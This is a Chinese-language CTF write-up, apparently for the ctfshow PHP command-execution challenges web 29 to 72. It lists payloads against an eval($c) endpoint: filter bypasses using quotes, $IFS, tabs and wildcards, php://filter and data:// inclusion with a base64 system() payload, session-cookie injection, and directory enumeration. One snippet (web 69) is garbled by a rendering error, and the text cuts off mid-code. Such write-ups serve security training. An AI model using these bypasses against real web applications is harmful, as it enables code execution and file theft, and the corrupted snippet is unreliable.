知识点:echo `` nl 文件包含 伪协议读源码
eval(“c”);漏洞
目录
- web 29
- web 30
- web 31
- web 32
- web 33
- web 34
- web 35
- web 36
- web 37
- web 38
- web 39
- web 40(详解)
- web 41
- web 42
- web43
- web 44
- web 45
- web46
- web 47
- web 48
- web 49
- web 50
- web 51
- web 52
- web 53
- web 54
- web 55
- web56
- web 57
- web 58
- web 59
- web 60
- web 61
- web 62~65
- web 66
- web 67
- web 68
- web 69
- web 70
- web 71
- web 72
- web 73
- web 74
- 00x2
- web 75
- web 76
- web 77
- web 118
- web 119
- web 120~121
- web 122
- web 124
- 参考
web 29
eval($c);
echo `nl fl''ag.php`
//echo执行系统命令,nl显示行号和本行的内容,''分隔符
cat fl$1ag.php
web 30
eval($c);
echo `nl fl$1ag.p''hp`;
echo `nl fl''ag.p''hp`;
web 31
eval($c);
show_source(next(array_reverse(scandir(pos(localeconv())))));
//show_source() 函数对文件进行语法高亮显示,本函数是 highlight_file() 的别名。
//next()输出数组中的当前元素和下一个元素的值:
//array_reverse() 函数以相反的元素顺序`返回`数组。(主要是能返回值)
//scandir() 函数返回指定目录中的文件和目录的数组。
//pos()输出数组中的当前元素的值:
//localeconv() 函数返回一个包含本地数字及货币格式信息的数组。
c=include($_POST["a"]);
a=php://filter/convert.base64-encode/resource=flag.php
//因为它只对变量c过滤。
c=eval($_POST[a]);
a=echo `tac flag.php`
c=eval($_GET[1]);&1=system('tac flag.php');
web 32
c=include$_GET["a"]?>&a=php://filter/convert.base64-encode/resource=flag.php
//因为此命令用不到;号
//用post传参要用到;号
web 33
c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
//若过滤了',"号则可以用数字传参
web 34
php://filter/convert.base64-encode/resource=flag.php
web 35
php://filter/convert.base64-encode/resource=flag.php
web 36
c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
//字符参数可以不加',"
web 37
c=data://text/plain,<?php system("cat /flag");?>
//非base64
c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
//自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。
web 38
c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
web 39
c=data://text/plain,<?php system("cat fl*");?>
//fl* 会匹配适合文件。
web 40(详解)
00x1
?c=eval(array_pop(next(get_defined_vars())));
cmd=system("cat flag.php");
get_defined_vars() 返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
array_pop() 是删除并返回数组最后一个元素
current() 返回数组中的当前元素的值。
next() 返回数组中的下一个元素的值。
原理:我们从最里层往外剖析,get_defiined_vars();返回所有数组元素,然后通过next函数取得我们上传的post数组也就是[_POST] => Array ( [cmd] => system(“cat flag.php”);但是此时取得的还不是我们想要的命令语句,我们可以通过array_pop()来取得post的元素,也就是system(“cat flag.php”);,最后通过eval来运行它。
注:(这里的array_pop虽然是删除并返回数组最后一个元素,但在这之前我们已经通过next函数提取出了post数组,也就是说此时数组就一个元素,就是post元素。current是返回当前元素,而当前元素是get所以不用current)
print_r(get_defined_vars());返回一个多维数组:
print_r(next(get_defined_vars()));
cmd=system(“cat flag.php”);
c=eval(array_pop(next(get_defined_vars())));
cmd=system(“cat flag.php”);看源码拿flag
00x2
show_source(next(array_reverse(scandir(pos(localeconv())))));
原理:因为localeconv()的第个元素是“.”,然后pos()能够提取出当前元素的值,也就是“.”,而scandir()能过返回指定目录中的文件和目录的数组,然而上一层pos()已经提取出".“,这样就变成scandir(”.")返回当前目录下的目录数组,array_reverse()以相反的元素顺序返回数组,next()提取第二个元素,最后用read_file()、highlight_file()和show_source()读出源码。
00x3
?c=session_start();system(session_id());
提交之后 Cookie中会生成PHPSESSID,这时候我们可以把它的值改成ls再提交(在Application中改),然后就会显示当前目录下的文件,也可以用bp来抓包
原理:session默认不使用所以加了session_start()让php开始使用session,利用session_id()让php读取我们设置的cookie,在此之前要在Application中改PHPSESSID值为ls找到flag文件名,然后运行以下代码:
?c=show_source(session_id((session_start())));
在Application中改PHPSESSID值为flag文件名
web 41
概念:数字的字符经过各种变换,最后能构造出 a-z 中任意一个字符,并且字符串长度小于 40 。然后再利用 PHP 允许动态函数执行的特点,拼接出一个函数名,,然后动态执行该代码即可。
例如:
<?php
echo "A"^"?";//异或,输出~
?>
原理:代码中对字符 A 和字符 ? 进行了异或操作。在 PHP 中,两个变量进行异或时,先会将字符串转换成 ASCII 值,再将 ASCII 值转换成二进制再进行异或,异或完,又将结果从二进制转换成了 ASCII 值,再将 ASCII 值转换成字符串。
web 42
c=cat flag.php%0a
c=tac flag.php ||
c=cat flag.php ||
//A || B A执行成功就不执行B,同理,A执行不成功就执行B
//A | B 将A的执行结果传入B
//A && B A成功执行后执行B,如果A不成功,那么B就不会被执行
web43
c=tac f* ||
c=nl fl*%0a
web 44
c=tac%20fl*||
web 45
c=tac%09fl*||
//%09为tab
echo$IFS`tac$IFS*`%0A
echo$IFS`nl$IFS*`%0A
//IFS表示 Internal Field Separator (内部字段分隔符)
web46
c=tac>fla%27%27g.php||
//<和>可以代替空格,%27为'
web 47
c=tac%09fla''g.php||
web 48
c=nl%09fl''ag.php||
web 49
c=tac%09fl%27%27ag.php||
web 50
c=tac<fl''ag.php||
?c=tac<fla\g.php||
// \绕过
web 51
c=nl<fla\g.php||
web 52
c=nl${IFS}/fl\ag||
web 53
ca''t${IFS}fl''ag.php
ca''t${IFS}fl\ag.php
web 54
c=/bin/ca?${IFS}????.???
//根目录下的bin文件夹下的cat,又因为强正则,所以????.???代替flag.php
web 55
00x1
base64的使用
可以通过通配符进行匹配命令执行查看flag.php
payload:?c=/???/????64 ????.???
意思是 /bin/base64 flag.php
00x2
bzip2的使用
bzip2是linux下面的压缩文件的命令
我们可以通过该命令压缩flag.php 然后进行下载
payload:?c=/???/???/????2 ????.???
也就是/usr/bin/bzip2 flag.php
然后访问/flag.php.bz2进行下载获得flag.php
00x3
. /???/????????
. 绕过
原理是文件上传,然后php会把他保存到临时目录/tmp去,然后利用.执行文件 ,配合通配符*,[@-[] 表示大写字母 (@-[中间是大写字母,/tmp的目录生成临时文件是8个字符的且必有大写 )
相当于. /tem/.....
然后可以通过 ls …/…/一层一层往上查看找flag文件的地址
web56
.和通配符的使用,以及ls查目录路径
web 57
$(()) 代表做一次运算,因为里面为空,也表示值为0
$((~$(()))) 对0作取反运算,值为-1
$(($((~$(())))$((~$(()))))) -1-1,也就是(-1)+(-1)为-2,所以值为-2
$((~$(($((~$(())))$((~$(())))))))再对-2做一次取反得到1,所以值为1
作者:一碗海鲜汤
链接:https://www.jianshu.com/p/4352534aacbd
exp:
data = "$((~$(("+"$((~$(())))"*37+"))))"
print(data)
web 58
01
02
show_source(next(array_reverse(scandir(pos(localeconv())))));
03
echo file_get_contents(“flag.php”);
web 59
01
c=show_source(“flag.php”);
02
同 web 58的 01
web 60
c=show_source(“flag.php”);
web 61
c=show_source(“flag.php”);
web 62~65
同上
或者
c=include(‘flag.php’);echo $flag;
c=include_once(‘flag.php’);var_dump(get_defined_vars());
c=include_once(‘flag.php’);highlight_file(“flag.php”);
…
web 66
c=print_r(scandir(‘/’));查看文件路径
c=highlight_file(‘/flag.txt’);
web 67
同上
但要用var_dump
web 68
c=var_dump(scandir(‘/’));
查目录
c=include(‘/flag.txt’);
包含因为不是php,会自动解析为html格式
web 69
d = o p e n d i r ( " / " ) ; w h i l e ( f a l s e ! = = ( d=opendir("/");while(false!==( d=opendir("/");while(false!==(f=readdir(KaTeX parse error: Expected '}', got 'EOF' at end of input: d))){echo"f\n";}
//opendir(path,context)若成功,则该函数返回一个目录流,否则返回 false 以及一个 error。可以通过在函数名前加上 “@” 来隐藏 error 的输出。
//readdir() 函数返回由 opendir() 打开的目录句柄中的条目。若成功,则该函数返回一个文件名,否则返回 false。
//scandir() 函数返回一个数组,其中包含指定路径中的文件和目录。
//若成功,则返回一个数组,若失败,则返回 false。如果 directory 不是目录,则返回布尔值 false
原理:由opendir返回当前的目录流,然后readdir返回opendir中的目录条目,若存在则返回文件名,然后循环,依次输出直到最后一个
c=include(‘/flag.txt’);
web 70
同上
web 71
ob_get_contents():此函数返回输出缓冲区的内容,或者如果输出缓冲区无效将返回false。可以看到如果输出的是数字或者字母,就都变成?。
c=var_export(scandir('/'));exit();
想办法在include()之后就结束代码:
c=include('/flag.txt');exit();
web 72
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
//读取的文件会变为???
读取的文件会变为???
用glob读,其他和69原理差不多
c=?><?php $a=new DirectoryIterator("glob:///*");
foreach(